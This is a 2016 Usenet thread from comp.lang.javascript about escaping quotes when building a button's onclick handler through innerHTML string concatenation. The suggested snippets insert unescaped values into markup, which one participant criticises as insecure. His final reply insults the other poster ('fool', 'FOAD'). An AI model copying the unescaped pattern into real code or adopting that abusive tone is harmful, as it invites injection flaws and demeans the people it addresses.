Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote: > cyber@example.com wrote: > >> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote: >>> cyber@example.com wrote: >>>> justaguy <lichunshen84@gmail.com> wrote: >>>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote: >>>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com >>>>>> wrote: >>>>>> > justaguy <> wrote: >>>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, >>>>>> > > cy...@example.com wrote: >>>>>> > >> var newFN = function(f,n) { >>> ^^^ >>>>>> > >> console.log(f,n); >>>>>> > >> } >>>> […] >>>> This should work: >>>> >>>> s2.innerHTML = " " >>>> + fn + >>>> " <input type='button' id='NewEl"+num+"' value='x' onclick = >>> ^ ^ >>>> 'newFN(\""+fn+"\" + "+num+");'>"; >>> ^^^^^^^^^^^^^^ >>> It does not. (The value of) “num” has to be (the value of) the *second* >>> argument to newFN(). >> >> It does work. > > For suitable values of “work”. It produces the intended result without error in all major browsers. That seems like a reasonable definition to me. >> In javascript > > There is no “javascript”. Guess this room should be renamed to comp.lang.notjavascript then. >> parameters default to undefined > > In implementations of ECMAScript, the value of formal parameters for which > no argument was passed usually defaults to the “undefined” value. The author his code is likely meant for browsers. This means that talking about implementations of ECMAScript in general might not be as relevant to him as talking about Javascript as implemented in the major browsers is. >> and the second parameter will be set to undefined. > > This is obviously not what the OP wants, so it is bad advice. > He edited my code to pass 1 argument instead of 2 which made me think that he changed his mind and now only wanted to pass 1 argument instead of 2. And since we do not know what he wants to do with this (newFN seems to be a mere placeholder for testing purposes) it really is not that obvious what he wants.
![]() |
0 |
![]() |
On Tuesday, December 13, 2016 at 6:50:01 AM UTC-5, cy...@example.com wrote: > justaguy <> wrote: > > On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote: > >> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote: > >> > justaguy <> wrote: > >> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote: > >> > >> justaguy <> wrote: > >> > >> > > >> > >> > HTML: > >> > >> > <html> > >> > >> > <body> > >> > >> > <span id="nav"></span> > >> > >> > </body> > >> > >> > </html> > >> > >> > > >> > >> > JavaScript: > >> > >> > <script> > >> > >> > > >> > >> > var s = document.getElementById('nav'), > >> > >> > num = 0, > >> > >> > fn = " a new field name "; > >> > >> > /* in my actual code, the var s represent an element dynamically created > >> > >> > but to get key point across I'm using static element here > >> > >> > */ > >> > >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; > >> > >> > > >> > >> > var newFN = function(f,n) { > >> > >> > console.log(f,n); > >> > >> > } > >> > >> > > >> > >> > </script> > >> > >> > > >> > >> > Intention: > >> > >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters > >> > >> > > >> > >> > Problem: > >> > >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. > >> > >> > > >> > >> > Thanks. > >> > >> > >> > >> This should work: > >> > >> > >> > >> <html> > >> > >> <body> > >> > >> <span id="nav"></span> > >> > >> <script> > >> > >> > >> > >> var s = document.getElementById('nav'), > >> > >> num = 0, > >> > >> fn = " a new field name "; > >> > >> /* in my actual code, the var s represent an element dynamically created > >> > >> but to get key point across I'm using static element here > >> > >> */ > >> > >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>"; > >> > >> > >> > >> var newFN = function(f,n) { > >> > >> console.log(f,n); > >> > >> } > >> > >> > >> > >> </script> > >> > >> > >> > >> </body> > >> > >> </html> > >> > > > >> > > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks. > >> > > > >> > > >> > This should pass the num variable: > >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>"; > >> > >> Somehow I missed your response. > >> > >> Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now: > >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>"; > >> > >> It works perfectly. Thank you. > > > > Ok, now I have a new requirement, that is, to add an ID to the button. > > the value of the ID is made of a string and a number. > > > > The following code still hasn't escaped some quotes. How to fix it? Thanks. > > > > var s2; > > s2 = " " > > + fn + > > " <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>"; > > This should work: > > s2.innerHTML = " " > + fn + > " <input type='button' id='NewEl"+num+"' value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>"; > > If NewEl is meant to be the string "NewEl" then you need to put it between quotes or else it will be be > interpreted as a variable. > And num and the + operator should be outside the quotes since num is meant to be a variable and + > is meant to be the concatenation operator, but if you put them between quotes they will just be > seen as being the strings "num" and "+" respectively. > > BTW the s2 button would call newFN while leaving n undefined so that parameter could be removed. Yeah, perfect. This technique of inserting two double quotes inside single quotes for the num var value really does the trick, id='NewEl"+num+"' Many thanks.
![]() |
0 |
![]() |
cyber@example.com wrote: > Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote: >> cyber@example.com wrote: >>> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote: >>>> cyber@example.com wrote: >>>>> justaguy <lichunshen84@gmail.com> wrote: >>>>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote: >>>>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com >>>>>>> wrote: >>>>>>> > justaguy <> wrote: >>>>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, >>>>>>> > > cy...@example.com wrote: >>>>>>> > >> var newFN = function(f,n) { >>>> ^^^ >>>>>>> > >> console.log(f,n); >>>>>>> > >> } >>>>> […] >>>>> This should work: >>>>> >>>>> s2.innerHTML = " " >>>>> + fn + >>>>> " <input type='button' id='NewEl"+num+"' value='x' onclick = >>>> ^ ^ >>>>> 'newFN(\""+fn+"\" + "+num+");'>"; >>>> ^^^^^^^^^^^^^^ >>>> It does not. (The value of) “num” has to be (the value of) the >>>> *second* argument to newFN(). >>> It does work. >> For suitable values of “work”. > > It produces the intended result without error in all major browsers. It does not. | Intention: | for the s.innerHTML to have a button, with a "+" value/sign, upon click | of which, it loads a function named "newFN" with two parameters ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >>> In javascript >> There is no “javascript”. > > Guess this room should be renamed to comp.lang.notjavascript then. Fool, this is not an (Web/Internet [relay] chat) room, it is a Usenet newsgroup. As for “javascript”, see my sig. >>> parameters default to undefined >> In implementations of ECMAScript, the value of formal parameters for >> which no argument was passed usually defaults to the “undefined” value. > > The author his code is likely meant for browsers. > This means that talking about implementations of ECMAScript in general > might not be as relevant to him as talking about Javascript as implemented > in the major browsers is. My point was your wrong, wannabe terminology. > He edited my code to pass 1 argument instead of 2 which made me think that > he changed his mind and now only wanted to pass 1 argument instead of 2. > And since we do not know what he wants to do with this (newFN seems to > be a mere placeholder for testing purposes) it really is not that obvious > what he wants. The record shows, and this thread shows it again, that the OP does not know what the heck they are doing. Neither do you. It is very obviously cargo cult programming at best. As I have showed, string concatenation to build markup from variable values is _not_ how this is done properly with regard to maintainability, runtime efficiency, and security, to name just the most important aspects. And, for sure, the values that are displayed to the user certainly should not coincide with the values used internally, so, missing HTML escaping aside, using “fn” in those two places is *wrong*. Your concluding that the OP’s unexplained omission constitutes a change of mind is far-fetched, to say the least. Does it require a formal complaint to your service provider before you stop abusing the example.com documentation domain? Does it require lots of people to killfile you before you get yourself a (real) name? Or can you, perhaps, just FOAD, before you spread further wannabe nonsense? Because we really do not need yet another one of you. TIA. -- PointedEars FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix> <https://github.com/PointedEars> | <http://PointedEars.de/wsvn/> Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
![]() |
0 |
![]() |